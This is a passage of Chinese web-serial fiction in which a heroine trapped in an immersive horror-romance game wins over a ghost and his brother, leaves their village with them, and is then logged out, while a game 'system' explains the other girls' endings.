走动时不断发出窸窸窣窣的纸张摩擦的声音。 之芙蹲下身,朝小纸人伸出手,示意它跳进自己的怀里。 果然, 裴钰没杀她……这也正常, 毕竟她是主角,有主角光环, 大概她第一次见到裴钰的时候, 游戏就在想办法暗示她了, 只是她被裴砚和这个村子的奇怪习俗带偏了……如果当时就主动带走裴钰, 会不会就没有后面那么多事了? 不过兜兜转转一圈还是一样的结局, 不愧是她!接下来是不是就弹出完美大结局了?系统,系统呢—— 之芙一边想着乱七八糟的时候,一边忍不住露出了笑容, 她温柔地看向小纸人, 等待着它走进自己的怀中, 如同接住来自裴钰的投诚书。 ——但忽然, 小纸人站住不动了。 若有若无的红线再次自虚空中浮现,一般这种情况就是有人在操纵纸人了。之芙顺着纸人身后的红线看去, 果然,裴钰一只手提溜着红线,不许小纸人往前。 “裴钰?”她疑惑地问。搞什么啊?这难道不是完美大结局吗? 裴钰背着光, 灿烂到刺眼的夕阳照不亮他的脸,只把他的表情蒙上一层令人不安的灰色,他抬起头,冲她笑了一下——那其实是一个很灿烂的笑容,甚至露出了尖尖的犬齿。这样的笑容放在这样一张俊美的脸上,一定会显得温柔又可爱。 但此刻,他残缺的左手抓住红线,小纸人身体前倾,仿佛在跟他对抗,不断地发出哗啦啦的声音,而他手臂上青筋毕现,残缺的无名指上所连接的红线深深地缠入指节。 “原来你能看得见我。”裴钰带着笑意的声音混杂在骤然大作的狂风里,下一秒,之芙意识到那不是狂风,而是移动时带起的气流—— 她骤然被扼住了喉咙。 冰冷又潮湿的气息像是雨水一般不断从身后单薄的布料渗入骨髓,像是一整块的冰贴在她的后背。 “那你为什么,要装作看不见我呢?” 恶鬼的声音缱绻,却带着不容置疑的冰冷。 “啊!啊啊——”之芙听到了小纸人尖叫的声音,薄脆的纸张窸窸窣窣地抖动摩擦,与此同时,她也感觉到自己的裙角被不断拉扯,艰难地低下头,是属于裴钰的小纸人一下下蹦起来,拉她的衣角。 它似乎不像裴砚的小纸人那样会说话,脸上有些褪色的朱砂五官紧紧地皱在一起,面露焦急,不断地发出小声的尖叫,声音像是气流挤过喉管的呜呜声。 明明之前裴钰对这只属于他的小纸人很有兴趣,甚至丢下其他人去追他,但现在他对不断发出声音吸引他注意力的小纸人却看也不看一眼,甚至没有多余的动作。 之芙只感觉到,掐在她脖颈上的大掌正在收紧,喉管被不断挤压,呼吸变得困难,大脑嗡鸣着,因为缺氧,眼前盖下一片片黑影,仿佛慢慢走近的死神的身影。 之芙的余光看到裴砚的袖口里不断跳出小纸人,他微微转头像是要看过来—— 就在那千分之一秒里,之芙意识到,裴砚马上就会死。 裴钰的判定快得可怕,只要他扭头,他会死,而且还是她最“熟悉”的死法,脑袋落地。 “嗬……”之芙艰难地张开唇,缺氧的大脑一阵阵发黑,让她来不及仔细思考,答案脱口而出—— “因为!因为……我想带你走。” “哦?”身后传来冰冷的声音,但动作却丝毫没有停下的意思。“你想带我去哪里?” 他漆黑的瞳孔像是什么无机物一般牢牢地锁定了自己怀里的人,只待她说出答案后就杀死她。 但猝不及防地,她发问: “你想去哪里?” “……”裴钰呼吸一滞——如果他有那种东西的话。他想过许多种回答,但这是他完全没有想过的答案,如同一道闪电骤然击中了他的机械脑袋,一瞬间的短路失灵之后火花四溅。 他竟然很认真地开始思考起这个问题。 脖颈上的力气开始变小了。之芙不知道他有没有听进去自己的话,她顿了顿,补充道:“你不想离开这里吗?” “……”片刻的沉默,裴钰仿佛真的在思考——这样一个恶鬼,一个从死亡的阴影之中走出来的,完全失去了记忆的人,他真的会思考吗? 但短暂的沉默之后,裴钰说:“……我不知道。” “不知道?”之芙再接再厉,争取用嘴把他说服,“这个问题应该只有‘想’和‘不想’两个答案。” 又是一阵沉默,裴钰思考着什么,慢慢地说:“我不知道。”这一次他说得很慢,但很坚定。 之芙怕这个家伙又想起来要勒断她的脖子,赶紧说:“你知道你是谁吗?你是不是什么都忘了?” “……” 之芙认真地说:“你叫裴钰。” “……裴钰?” “对,你叫裴钰。”之芙重复了一遍,刻意念重了裴钰的名字。听说人类的名字是他们的归处,只要念出名字,他们就能找回自己。 “……” 身后沉默了一会儿。身前的小纸人顺着她的裙摆爬上来,坐在她的肩头,和瑟瑟发抖的小九坐在了一起。 小纸人发出了尖细的“啊——啊啊!”的声音,似乎也在提醒裴钰,肯定之芙的回答。 “你叫裴钰,是这个村子里的白先生。你是不是觉得小纸人对你很有吸引力?” “……”身后沉默的视线转移到了之芙肩膀上的小纸人身上。小纸人踮着脚跟他对视。 “它就是你的纸人。”之芙说,“你一直待在这个村子里,当他们的白先生,但你还没有出去过呢。” “……白先生?” “就是操持白事的人。”之芙不厌其烦地解释,“你看到坐在一边的那个男人了吗?你对他有没有熟悉感?” 之芙没有回头,也感觉到了裴钰的脑袋转了过去。 又过了一会儿,他有些迟疑地“唔”了一声,但没说熟悉还是不熟悉,只是说:“我不喜欢他。” “为什么?”之芙感觉自己已经变成了循循善诱的幼儿园老师——但裴钰转头的时候,放松了掐着她的力道,她顺势从裴钰的怀里钻了出来,捂着脖子咳嗽了两声之后站在他对面。 “……他赶走我。”裴钰说。 站在对面,能更加清晰地看到裴钰的表情。他的表情有些茫然,但很真诚,之芙意识到他是真的对这些问题疑惑已久,否则不会乖乖地站在这里,好脾气地被她追问了一句又一句。 明明是这么严肃,这么忧伤,又这么生死攸关的时刻,之芙却觉得自己有些想笑——或许连裴钰自己也没有注意到,他说话的语气,就像是在抱怨一个对自己不好的家人。 如果只是陌生人,被赶走也是理所当然的,裴钰肯定不会问那些村民为什么赶走他,他在心里已经预设了裴砚会对他好,却被赶走,才会产生茫然和抱怨。 “他是你的弟弟。”之芙说,“你不觉得他跟你很像吗?” “……”裴钰认认真真地看着坐在地上的裴砚,他观察他的时间远远超过了之前他在问答里所有沉默的时间。过了好一会儿,他才认真地说,“他没我好看。” 之芙:“……” 之芙是真的差点笑出来了,她强忍住笑意,对着裴钰招了招手。 她说:“他是你的弟弟,我是你的妻子。你不记得了吗?还是你强娶啊。” 裴钰立刻又把视线转回了她的脸上,他的眼睛一眨也不眨,像是凝固了似地停在她的脸上。 之芙坦然地迎着他的目光,说: “我们三个一起离开这里,幸福快乐地生活在一起,这不好吗?” 裴钰又顿了顿,仿佛在费力地思考,他似乎觉得有什么不对,但又找不出问题,顿了半天,终于憋出一句:“……可是我不认识他,我为什么要跟他生活在一起?” 不是裴砚,那就是认识她咯?之芙握住他的手:“就当是为了我。” 裴钰再次皱眉。这一次他看了看小纸人,又看了看裴砚,又看了看她—— 疑惑、茫然、为难、不解和厌恶,等等复杂的情绪反复地在他的瞳孔里来回拉扯,他动了动嘴,似乎也没思考出什么结果,于是抬起手,残缺无名指上牵连的红线再一次浮现—— “啊!”小纸人尖叫。 之芙眼疾手快,一瞬间也没多想,一把拽住裴钰的领口,把他猛地往下一拉! 随即,她抬起头迎上去,唇对唇。 不能用嘴把他说服,那就用嘴把他亲服! 她不信魅魔的魅惑术对区区一个NPC会失效! 第128章 《她看不见》 “啊!”又是一声来…… “啊!”又是一声来自小纸人的短促尖叫, 在他耳边不断回响,但又飞速远去了。 全身上下的触觉和嗅觉都像是消失了,只有唇瓣传来的温热的触感, 激得人一阵颤栗,仿佛连不存在的心脏都在为此跳动。 先是生涩又拘谨的摩擦, 像是小动物寻求安慰时会互相试探互相依靠似地, 唇珠贴着唇珠,下唇贴着下唇,生涩又小心地试探。 他感觉到胸前的衣服被扯得不断往下, 逼迫他也毫无还手之力地不断弯腰, 低头、低头,再低一点—— 低到面前的女孩能不用踮起脚, 就能咬住他。 裴钰一片空白的大脑在不断发出疑问:这是咬吗?她在咬他吗?就这样?真奇怪, 嘴唇既不是弱点也不是什么紧要器官, 咬这里有什么用? 但很快他就想不了那么多了—— 之芙一只手紧紧抓着他的衣领, 另一只手捧着他的脸, 她的唇瓣柔软得像是天上洁白的云朵,湿润而温暖,那种一种他从来没有见过、触碰过的触感, 让他一整个人都呆在原地, 动弹不得。 此刻, 她的吻不像一个吻, 反而让他感觉像是撕咬,或是进食。 就像一朵湿润的云轻轻擦过唇瓣, 但很快那朵云开始变得沉重、乌黑,淅淅沥沥地往他的身体里下起雨来,粘稠地把他包裹。 他的理智告诉她, 她应该是要把他吃掉了。他应该感到愤怒,感到被冒犯,感到被攻击,从而触发血液里的来自猎食者的天性,掐断她的脖子。 但事实上,他动弹不得,只有脑海中不断回响起清晰的心跳声,清晰到他甚至怀疑那声音来自于自己。 但好像是过了很久很久,又好像只是一瞬间,他后知后觉,心里想:哦,那原来是之芙的心跳声。 砰。砰砰。砰砰砰。 从那沉稳的规律的不断跳动的声音里,裴钰忽然意识到了她和他是何等的不同,就像她生来就属于澄澈的天空,而他只是个从泥土里爬出来的恶鬼,她生机勃勃,而他腐朽破败。 仿佛他腐朽的身体,在一个吻之间,肉眼可见地又鲜活过来。 简直像着了魔。 “……” 就连分开的刹那,他也下意识地追过去—— 然后被一只手按住脸。像是按住一只凑着头来蹭她的小狗似地,之芙脸颊泛起绯红,喘着粗气,她唇瓣通红,像是被什么重物压过的玫瑰花瓣,又红,又软,上面滚着糜烂的汁液。她说:“所以你跟我走吧,就现在。” 裴钰没说话,只一昧地抿着唇,把脸往前凑。 之芙再一次推开他的脸:“嗯?走不走?” “……”裴砚的表情有些僵硬,但只是固执地看着之芙,既没说好也没有说不好,有些僵持。 之芙循循善诱:“说话呀!快点!” 逼迫一个人做出决定的时候,一定要表现得很着急。之芙深谙此道:“你不说我就跟裴砚走了。” 她作势要走,肩膀上属于裴钰的小纸人也很着急,不断地踮起脚,发出“啊啊”的声音催促裴钰。 相比之下,小纸人小九就轻松多了。她坐在肩膀上,坐在裴钰的小纸人身边,抱着自己的肩膀,瑟瑟发抖的同时又松了口气。 一个转身的假动作之后,之芙在心里数了三个数:三、二—— 来不及数到一,她的手就被身后的人拉住了。 哼哼,小小恶鬼,拿捏拿捏! 之芙心里暗喜,转过身,只见裴钰的表情有些不情愿,拉着她的手的时候像只被抛弃的小狗狗。过了一会儿,才勉为其难地问:“一定要一起走吗?” “当然。”之芙说。“幸福美好的家庭不能缺少任何一个家人!”她叹了口气,“唉,你又不是人类,你不懂!” 裴钰半信半疑,顿了好半天,终于勉为其难地点点头。 虽然之芙也不是人类——严格来说他们这个“幸福美好的家庭”里没有任何一个人算人类,裴砚是白先生,裴钰是恶鬼,之芙更了不得了,她是魅魔,还是个没人知道身份的魅魔。 之芙松了口气,试探性地往外走了一步—— 裴钰没有放开牵着她的手,跟着她往外走了一步。 只是表情依然不是很好看。 之芙问:“你不喜欢裴砚吗?他是你的弟弟……你们关系很好的。哦,是在你还活着的时候。” 裴钰侧过头,看了一会儿不远处的风景,才转过脸来,臭着脸说:“不喜欢。他明明看到我了,还要装作没看到,这种人最烦。” 之芙:“……” 之芙说:“你明知道他看到你了,不杀他?” 裴钰的脸更臭了:“……杀不了。而且也不想杀。” 这时,裴砚终于转过脸来,光明正大地看着他。 之芙又问:“那我也看到你了,还装没看到,你也讨厌我?” 裴钰笑了一声说:“当然。所以你得补偿我。” “怎么补偿?” 裴钰拉着她的手,自顾自地牵着她往外走,越过她的时候看向她红肿的嘴唇——明明是这么一个暧昧的动作,他却做得很坦然,很直白,眼神像个初尝试世间最美好的事物,还意犹未尽,试图再来一次的小动物。 不知道那是什么,只觉得留恋,于是乖乖被人驯服,跟着人回家。 “快走吧。”他催促。这会儿决定好了,倒是不像是刚刚那样纠结为难,反而坦坦荡荡,还反过来催她,着急得要命。 之芙被他拉着往外走了几步,她下意识往后看,眼神掠过倒在地上的尸体。 一些村民瑟瑟发抖地躲在尸体的后面,如此混乱血腥的场面似乎与造成它的罪魁祸首格格不入,更与被拉着走的之芙格格不入。 唯一一个融入这些血泊之中的人——是裴砚。 他的目光落在两人身上,一只手撑在身后,脱了力一般坐在泥土里。 他只是目送着他们远去,没有说一句话,也没有起身的意思。 “……裴砚?”之芙觉得不对劲。她拉住裴钰,转过身去,“你不跟我们走吗?” 裴钰点点头又摇摇头,不知道是什么意思。他只是挥手,依然是那个手背向外、手心朝里的动作,像是在说“去吧”。 之芙皱眉,走向他,又问了一遍:“裴砚?” 裴砚像是脱了力一般坐在地上,双手的指缝里沾满了泥土。 他说:“你们先走吧,去村子外面等我。” 这句话,怎么听怎么不对劲,不像是嘱咐,反而像是告别。 之芙说:“为什么?”她伸出手,用力地把裴砚从地上拉起来。 裴砚一个踉跄,栽进她怀里,之芙抱着他反而被冲击力压得后退几步,裴砚这才站稳。 但他却没有站直,而是伸出双手,抱住了之芙。 他弯下腰把下巴轻轻地靠在之芙的肩膀上,说:“别担心我,只是还有点村子里的事情要处理。” “是什么事情?”之芙问。 “一些白先生的职责。”裴砚的语气轻描淡写,之芙也看不到他的表情。继而他很快转向另一个话题,“小九认识路,让她跟着你。” “有小九在,你就不担心我毁约了吧?” 之芙半信半疑地要开口说话,裴砚却又站直了身体,往回退了一步。 他们之间隔着一步的距离,裴砚再次对她挥了挥手:“快走吧。” 夕阳的最后一抹余落在他的脸上,只是短短几秒钟后就飞快地沉入了山的另一头,快得像是蜉蝣的最后一撇。 他沉入了黑暗中。此刻他是什么表情和眼神呢?她看不见。 “快走吧。”他只是说。 第129章 《她看不见》 身披着光和热,有人从路…… 夕阳已经完全沉入了山的那一头, 最后一抹余晖还残留在青石地板上,片刻后连余晖也飞速远去,灿烂的金黄和风声一起掠过远处的群山, 消失在视线尽头。 “他真的会来吗?” 小九坐在之芙的肩头,她摇摇头表示自己也不清楚。 “应该会吧……”她也有些不太确定, 犹豫着, “毕竟我不能离开他太远……” 裴砚不是那种会把人丢下不管的不靠谱性格,既然他能让小九跟着她,就不会把她丢下不管。之芙这么一想, 也觉得安心了不少。 沿着山路往下走, 他们在遇到了一些上山的村民,大约是听说了墓地里的事之后赶来查看情况的。 但看到裴钰的时候, 他们都低着头, 装作没看到他的样子——大大方便了之芙, 她站在他身边, 自然也没有人敢抓她, 别说抓她了,甚至都不敢看她。 果然,驯服了裴钰这个大boss之后, 这个游戏就像开了挂一样, 简直是易如反掌啊易如反掌。 就这样一路畅通无阻, 走到山脚下的时候, 小九紧紧地皱着眉,捂着胸口。 “就在这里等裴砚吧。”之芙时刻关注着小九的情况, 又往回走了些,找了一块避风的大石头,看小九好受了一些, 才松了口气。 她随地盘腿坐下,背靠着避风的山石,裴钰见了,也有样学样地挨着她坐下。 春日的夜色晴朗万分,不远处的草地上有绿色的小草冒出头,被风压倒成一片灰暗的绿;夜风吹过树梢,窸窸窣窣的声音像是和谐的音符,坐在十万大山的深处,荒无人烟之处,身侧没有人声也没有电灯,只有草丛里不知名的小虫不断鸣叫着。 抬头,夜空飘过薄如白纱的云朵,星子闪烁着连成一片片璀璨的星海。 之芙坐在大石头旁边,心说还是城市里好,有游戏可以打。 村里太无聊了,如果这会儿他们在城市里,就可以打着游戏喝着汽水等人了——是的,之芙是一个不折不扣的宅女,面对乡野闲趣时不会发出‘村里没有人类的污染真是太好了’的这种俗套的感慨。 她更喜欢人类的高科技。 她托着腮,想到自己身边的几个人都是生活在大山深处的人,一定没有见过那些好玩的游戏和有趣的人类科技,不由得开始畅想起来: “等我们到了城市里,你们想去哪里?” “……”周围一片沉默。一抬头,小九、小纸人跟裴钰齐刷刷地看着她,眼神迷茫得像是被拉上旅游大巴眼巴巴看着向导的游客,茫然里还带着点兴奋。 哼哼,果然要她来做向导!之芙兴致勃勃地说:“我可以带你们去景点玩——”如果这个世界有景点的话。“还有游乐园,还有网吧和游戏体验馆!” 三人看着她。 之芙说:“呃……反正就是很好玩的地方!裴砚应该知道。” 面前三个,一个是失去记忆的鬼,两个是纸人,不懂也很正常。但裴砚虽然没有出过门,但他应该读过很多书,除了没有亲眼见过之外,应该什么都懂吧…… 但是,裴砚什么时候来呢…… “这里的游戏应该也很好玩,我跟你们说,我以前玩过一个诈骗游戏……” 之芙靠着大石头,仰头看向夜空,有一搭没一搭地跟小九裴钰和小纸人聊着天。 不知道话题转过几轮,月亮从夜空的这一头移动到另一头,之芙也从一开始的兴奋逐渐变累,她靠在石头上,脑袋一点一点。 “……不过还是有很多好玩的游戏,比如说我现在玩的这个,就很有意思,就是……我想……” 头忽然被人朝那头轻轻一拨,之芙感觉到自己的脑袋靠住了一个适合的柔软的枕头。 就是……这个枕头……怎么有点冷呢…… “我想……”她嘟囔着。 “想什么?”有人问。但之芙的意识就像是沉入水中一样,视线逐渐变得黑暗,眼皮也沉重得像是吊着千斤的铁。 “我想……想知道……这个游戏到底是什么情况……” “呼……”彻底失去意识的前一秒,之芙听到自己的喃喃,“司苍……他、他到底在做什么……为什么要、瞒着我……” “……” 她睡了过去,在这个晴朗的春夜,在恶鬼的注视下。 …… 不知道睡了多久,之芙只感觉眼皮沉重,一抹金色的光辉穿透她的眼皮,她慢慢地眨了眨眼,费力地睁开了眼。 不远处,朝阳正缓慢地爬上山巅,山间的丛林中积蓄着一层轻纱似的山雾,金灿灿的阳光像是给山雾染上了金子般的光辉。 之芙转头看去,正对上裴钰的眼睛。他坐在她的身边,像是就用这个动作看了她一整夜,一动都不动似的。 肩膀上的小纸人小九发现她醒了,主动抱住她的脸颊贴了贴。 之芙眨了眨眼,后知后觉地清醒过来。下一秒,她立刻环视四周——没有人。 准确来说,是裴砚的身影。 他没有来。 “裴砚呢?”她还不死心,抱着最后的希望询问,有没有可能是裴砚看到她在睡觉,所以先离开了? 但遗憾的是,小纸人小九摇了摇头:“芙芙,裴砚没有来。” 之芙一骨碌爬起来,望向自己身后的上山路,路上空无一人,连脚印也没有,只笼罩着一层雾气。 小九从她的肩膀跳下来,跳进她的掌心里,仰着头看她:“芙芙,我要走了。” “……” “我不能离开裴砚身边太久。”小九故作轻松地说,“你和裴钰在外面要好好的,如果有机会,我想办法说服裴砚带我去看你们。” 她踮起脚,伸出双手—— 之芙弯下腰,跟她最后一次贴了贴脸颊。 小九从她的掌心里跳到地上,往山上跑了几步,然后又回头,冲她挥了挥手。 这就是告别的意思了。之芙抿着唇,呆了片刻,猛地迈步往山上跑—— 她倒要去问问裴砚为什么骗她!就算是抓着他的领子把他拖下山,他也得跟她走!小小男主,还容他拒绝不成?! 之芙越想越生气,气势汹汹地跑了几步,忽然停住了。 ——朝阳的光辉渐渐驱散了乡野间的迷雾,身披着光和热,有人从路的尽头缓缓走来。他的身影从黑暗中浮现,逐渐变得清晰。 “……”是裴砚。他只是微微笑着看向她,一如初见时的沉默,并不解释自己为什么迟到。 之芙冲上去,一拳揍在他胸口:“干嘛迟到!” “对不起。”他轻声说。“等很久了吧?” “明知故问!呵呵,让女孩子等你,你完蛋了裴砚!”之芙给了他一拳,倒也没有再给他一个温暖的拥抱的意思,转身就走。 “……” 她噔噔噔跑出几步,一回头,身后裴砚还站在那里,小九站在他的掌心。 见她回头,裴砚才如释重负般大步走过来,主动牵住她的手。 “好吧。”他说,“这位女孩子大人,准备带我去哪里惩罚我呢?” 奇怪的是,之芙从他的身上闻到了来自祠堂的香灰味儿。是刚从祠堂出来吗?祠堂里还有什么没有解决的事情吗? 但之芙没有多想。游戏该结束了,她伸出另一只手,对着裴钰招招手。裴钰乖乖地走上前,牵住她另一只手。 夕阳下,他们的背影逐渐远去。 “嗯……先罚你陪我打一个月的游戏!”之芙说,“哦对,我们还没有住的地方呢,先罚你打工一个月养活我们!” 裴砚夸张地叹气:“这一家老小……都要靠我养活?” “不然呢?”之芙哼哼,“难道你指望一只鬼和两只纸人去打工吗?” 第130章 《她看不见》 “你还会……再回来吗?…… 【好奇怪, 为什么游戏还不结束?】 之芙对系统说。 【……】 【剧情还未结束,请玩家耐心等待。】系统只是一如既往地用冷淡的语气回复她。 之芙放下游戏手柄,看着面前屏幕上弹出的游戏结束的标语, 再次陷入了沉思。 这一个月来,他们从村庄一路走到了镇上, 秉着来都来了的想法, 他们直接在镇上搭车去到离村子几千公里远的海边城市。 他们一行人都算黑户,不是非人类就是被家里抛弃的,好在唯一的裴砚是个靠谱的正常人类——他竟然有银行卡! “有银行卡有什么奇怪的, 我也不是不去镇上买东西啊。”裴砚如此解释道。“我只是从小在那个村子里长大, 不是野人。” 得益于裴砚的靠谱,他们这一群黑户暂时不用陷入去工厂打黑工的窘迫境地, 裴砚想办法租下了一间靠海的小别墅, 之芙则立刻刷他的卡买了游戏机。 从古板传统的村子里出来的四人哪见过这世面, 很快就沉迷在了游戏和小说的糖衣炮弹中。只用了一个月, 家里的宅女从一个变成了五个——连最靠谱最有自制力的裴砚都肉眼可见地开始熬夜打游戏了。 之芙把游戏机扔在一边, 仰头闭上了眼睛。 “芙芙,不玩了吗?”小九抱着游戏机,打了个哈欠。但她眼里却满是兴奋, 显然还没从游戏的刺激里回过神来。 之芙摆了摆手:“再不睡觉明天要被裴砚说教了。” 一旁捏着游戏机的裴钰明显地露出了不高兴、不尽兴的遗憾表情。坐在裴钰身边的小纸人也不满地叫了两声——从后来的一系列行为来看, 这位小纸人明显也是小九那样的, 有自己的思想和自主行动能力的, 由普通人的魂魄变化而来的纸人,身世经历说不定都跟小九一模一样。 这一个月里之芙玩得很快乐, 跟兄弟俩的纸人们也相处得很好。 所以…… 到底为什么呢?之芙百思不得其解。 为什么她还没有打出结局?游戏里居然可以过这种风平浪静的日子吗? 要是按照正常的游戏结局,时间应该定格在她带着兄弟俩立刻村子的那一刻,她都已经想好了——在他们踏上通往外界的路的时候, 屏幕逐渐暗淡下去,紧接着跳出一个大大的【好结局】,镜头定格在升起的朝阳上,或者定格在他们脚下无限延伸的路上。 但什么也没有发生。 他们走过那些田间小路,从镇上转了一次又一次的车,小心又冒失地把小纸人藏在口袋里,顺利地租下一栋风景秀丽的海边别墅,游玩过周边的大小城市,打了一夜又一夜的游戏。 天知道之芙发现游戏还没结束的时候有多紧张有多兴奋,她时常在半夜惊醒,在黑暗的房间里迷迷糊糊地辨认躺在自己身边的是哥哥还是弟弟——然后再一夜无眠地盯着他们,思考他们会不会突然发难。 但可惜又幸运的是,什么都没有发生。 她确确实实地,在游戏里度过了这平淡又轻松的一个月。 【系统,我在游戏里呆这么久,游戏外的身体不会又昏迷了吧?】之芙走上通向二楼卧室的楼梯,伸了个懒腰。 她注意到今夜的月色皎洁清亮,于是停在楼梯中间的窗户下往外望去。 窗户被推开了一丝缝隙,远处的海面被月光映照成一片银白,海浪永不止息地翻涌着拍打岸边的沙砾,发出哗啦啦的声响。 带着水汽的海风吹拂过她的面颊和发梢,系统的声音不受海浪声干扰,直接在她的脑海中响起。 【不会的,这是正常游戏时间的范围,和之前不一样。】它顿了顿,似乎也注意到了之芙的疑惑,于是又补充道,【这个游戏和之前的不一样,它自带的剧本时间很长。也可以说,是你打出的结局时间较长。】 【噢!】说到游戏之芙就不困了,她兴致勃勃地问系统,【所以这应该是好结局或者是隐藏结局吧?一般只有好结局才会有最长的游戏内容和时间。】 系统说:【可以算是吧。只不过这个游戏的剧本是按照玩家的数据自主生成定制的,剧情走向也完全自由,所以其实也没有传统意义上的‘游戏结局’,只能说你打出的结局是没人见过的结局吧……】 之芙可不管系统这啊那的,反正说是好结局就是好结局,谁来也改变不了她打出好结局的事实。 之芙得意地叉了会儿腰,欣赏完窗外美丽的海景,伸了个懒腰准备上楼睡觉。 明天打什么游戏好呢?还是……要不出门去玩玩吧,好久没出过门了!她思考着明天该做什么,闷着头往楼梯上走,忽然脚底眼前出现了一片阴影。 她抬起头—— 裴砚站在楼梯的入口处,和她隔着几阶楼梯,他看向她。 “……裴砚?”之芙一阵莫名其妙,裴砚不是去睡觉了吗? 海风吹拂过她的脸颊,也吹过裴砚,之芙忽然从潮湿的海风中嗅到了一丝奇怪的味道,那是…… 香灰? 一瞬间,熟悉的味道把她带回了一个月前,在那道无限延伸向远方,也通向那个诡异的村庄的小路上,那时他的身上也有这样熟悉的味道。 再往前找寻,这熟悉的味道本该来自那个诡异村庄的祠堂。 但为什么现在,裴砚的身上会有这个味道?这里离村庄几千公里,家里也没有供神龛,更不会点香拜佛。 之芙疑惑地看着他,刚想开口说话,裴砚却打断了她: “你要走了,是吗?” “……什么?”之芙有些不解,“你在说什么啊?没头没尾的。” 她莫名其妙,正准备往上走,看看裴砚到底是不是发烧烧坏了脑袋,可是一抬头,却顿在原地。 ——裴砚正用一种无比复杂的眼神看着她。他微微地皱着眉,嘴唇紧抿,那奇怪的眼神如有实质,明明只是把视线落在她的身上,却像是有千斤重的枷锁压顶,让她怔在原地。 “……” 窗外的海风更加喧嚣,海浪拍岸的声音也狂躁起来,月光隐匿到了云层的另一头。 之芙若有所感地抬起头—— 午夜的钟声骤然敲响。 “咚——咚——咚咚——” 半封闭的楼梯上,钟声不断回荡。 之芙感觉自己的身体忽然变得无比轻盈,她下意识低头,发现自己的手臂和身体开始变得半透明,这是游戏即将结束的征兆。 身前传来脚步声,裴砚走到她的面前,轻轻握住了她的一只手。 在如此反常的情况下,他的表情却并惊讶,仿佛早有预料。 福至心灵般,在离开时裴砚身上的一切反常,乃至他在祠堂里,被她问到“是否被她改变命运”这个问题时的不置可否和避重就轻,所有的反常都在这一刻被串联起来。 之芙一时哑然,竟然不知道说什么好,只呆呆地站在原地,愣愣地看着表情有些忧伤的裴砚。 “……” 片刻的沉默后,裴砚反而绽开了一个笑容。 之芙几乎失声:“你早就知道……” “祠堂里的命运从来没被改写过。”裴砚笑着说,“如果命运是那么容易被改写的东西,就不叫命运了。裴钰也好,我也是,我们都清楚,如果想要躲避命运,就会在离开它的途中与它迎面撞上。” “明知道最后还是无法离开,那你还……” “记得你在祠堂里说得话吗?”裴砚不答反问,“是离开那天的下午,我们在那个房间里,我问你的话。” “我说,如果有一天所有认识的人、到达的城市,最后都要离开,那该怎么办呢?” “你告诉我,重要的不是离开的时间,而是,离开之前,我们还有很多很多的时间可以在一起。” 之芙的身体几乎已经变得完全透明了,灵魂轻飘飘地飞起来。 裴砚微笑起来:“谢谢你,虽然你说的不完全是对的,我们在一起的时间没有‘很多很多’……但我还是很开心。” 即使他早知道结局,也依然选择了跟她一起离开。 下一秒,他快步走上前来,拥抱之芙。 之芙感知已经被剥离得很弱了。在最后的时刻,她只感觉到这个拥抱紧得几乎让她感到窒息,像是足够用力就能挽留她似的。 夜风把他的衬衫吹得哗啦作响,他体温顺着单薄的衣衫透过来,在初夏还有些寒冷的夜晚,滚烫得像是一滴泪。 “你还会……再回来吗?”风把他轻飘飘的声音吹向窗外。 你还会再回来吗?像个从凭空冒出的、古灵精怪的小怪物,降落在孤寂的小楼里,降落在我的身边,让日复一日等待死亡的时光染上属于你的颜色,让一潭死水的心生出逃跑的欲望。 没有回答。下一秒,怀里的人像是幽灵般远去了。 裴砚站在原地。久久久久,他看向窗外永不止息的海浪,鸥鸟在海面盘旋,远处的灯塔闪烁几下,熄灭了。 这是他人生中最后一次见到大海。 …… 之芙从游戏仓里爬了出来。 【系统,我退出游戏了!】 【……我知道。】系统说。 【怎么会这么突然!】之芙有点抓狂,【什么情况?裴砚怎么什么都知道?他看着我忽然消失不觉得奇怪吗?】 【角色的思维模式和思考方式是ai自动生成的,系统无法推测他的想法。】系统滴水不漏地回答。【只是猜测——可能是那则预言的问题,如果他早就意识到自己的命运并没有被改变,总有一天还是要返回村庄,大概早就知道你会离开了,自然不会奇怪。】 之芙的大脑有点转不过来了。她缓慢地躺回了游戏仓里,又问:【那我为什么会突然退出?没有任何剧情点啊。就……我就平淡地打了一天游戏,然后就这么突然退出了?这真的不是游戏bug吗?】 【经检测,退出方式没有出现异常。】系统平稳地回答,【你是正常退出游戏——意思就是,剧情结束了。】 之芙张了张嘴,一时不知道该说什么好。 【我检查过了,这是一个特殊结局。】系统顿了顿,还是安慰大脑宕机的她,【特殊结局打出特殊的剧情和结束游戏的方式是正常的。】 之芙听得出来,他的安慰有些生涩。不过她还是有些奇怪的地方:【如果是普通结局,会是什么样的?】 系统顿了顿:【我不能告诉你其他结局会是什么样的,因为这个游戏的剧本是按照你个人量身定制的,也就是说其他人不会玩到跟你一模一样的游戏。】 【但是。】它话锋一转,【这个游戏里,在你之前,还有很多类似你游戏角色的处境的女孩。她们的结局也不多,我可以直白地告诉你。】 【一种,就是像你见过的小纸人小九那样,因为各种各样的不能或不想逃出村庄,她们无一例外被杀害了。她们死后有些人成为了裴家两兄弟的纸人——从裴钰开始,他们就在想办法拯救那些女孩了。】 【另一种,则是成功逃跑的女孩。她们带着裴家两兄弟给她们的钱,离开了村庄,过上了平静又幸福的生活。】 【还有呢还有呢?】之芙迫不及待地追问,【除了那些女孩,裴钰和裴砚有什么结局?】 她有点在意——好吧,是很在意,她很在意他们的结局。游戏退出时裴砚说的话像是烙铁般深深地印刻在了她的心里,让她无法忽视一个问题:她把裴砚从村子里带出来,是不是害了他们? 系统顿了顿,似乎在检索游戏内容:【以前也曾有在小楼里暂住的女孩,其中不乏有听说了两兄弟的故事后想要让他们跟着自己一起逃跑的——有一部分是觉得自己和他们同病相怜,另一部分是害怕一个人逃跑被抓。但最后他们都没有选择跟她们离开。】 【所以我无法回答你的问题。】 【计算一下也不可以吗?】之芙有些苦恼地问,比划着,【就是……嗯,我听说有些计算机能一秒计算无数公式和无数种可能性,你计算一个最合理最合适的结局也不可以吗?】 【人类的一生有无数种选择,也有无数种可能。每一个细节的改变都会通往不同的结局,我不能狂妄地判定他们的选择会导向什么样的结局。】 【……】之芙深深地叹了口气。 【但是……】系统话锋一转,【你还没看游戏cg。如果对剧情的后续感兴趣的话,这个剧情应该还会有个后续,不过应该算是后记之类的事情了,看不看都不影响你作为玩家的游戏体验。】 之芙没等它说完,当即一个鲤鱼打挺坐了起来——想到游戏cg要在游戏仓里看,她又躺了回去。 【快放快放。】之芙催促,【我现在就看。】 130-140 第131章 《她看不见》(完) 奇怪。…… 之芙躺回了游戏仓里, 催促系统打开游戏cg。 